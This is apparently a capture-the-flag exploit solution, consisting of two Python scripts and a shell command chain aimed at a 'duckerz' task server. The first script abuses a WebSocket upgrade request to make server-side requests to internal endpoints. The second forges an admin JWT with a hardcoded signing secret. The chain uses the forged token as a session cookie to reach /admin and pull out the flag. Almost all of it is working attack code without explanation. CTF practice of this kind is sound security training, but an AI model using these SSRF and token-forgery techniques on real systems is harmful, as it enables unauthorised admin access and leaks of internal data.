Загрузка данных


#!/usr/bin/env python3
import socket, sys
H, P = "tasks.duckerz.ru", 30079
dst = sys.argv[1] if len(sys.argv) > 1 else "http:///openapi.json"
req = (f"GET {dst} HTTP/1.1\r\nHost: {H}:{P}\r\nConnection: Upgrade\r\n"
       f"Upgrade: websocket\r\nSec-WebSocket-Version: 13\r\n"
       f"Sec-WebSocket-Key: Y3RmLXdzLXNzcmYtcHJvYmU=\r\n\r\n").encode()
with socket.create_connection((H, P), timeout=8) as s:
    s.sendall(req); s.settimeout(8); buf = []
    try:
        while sum(map(len, buf)) < 131072:
            c = s.recv(8192)
            if not c: break
            buf.append(c)
    except socket.timeout: pass
sys.stdout.buffer.write(b"".join(buf))

#!/usr/bin/env python3
import base64, hashlib, hmac, json, time, sys
S = b"northstar-release-secret-435656"
e = lambda v: base64.urlsafe_b64encode(json.dumps(v, separators=(",",":")).encode()).rstrip(b"=")
n = int(time.time())
h = e({"alg":"HS256","typ":"JWT"})
p = e({"sub":"release-admin@duckerz.task","email":"release-admin@duckerz.task",
       "role":"admin","iss":"northstar-release","iat":n,"exp":n+3600})
m = h + b"." + p
sig = base64.urlsafe_b64encode(hmac.new(S, m, hashlib.sha256).digest()).rstrip(b"=")
print((m + b"." + sig).decode())

python3 ws_ssrf.py 'http:///api/v1/internal/debug/config' && \
TOKEN=$(python3 forge.py) && \
curl -sS -H "Cookie: ops_session=$TOKEN" 'http://tasks.duckerz.ru:30079/admin' | grep -oE 'DUCKERZ\{[^}]*\}'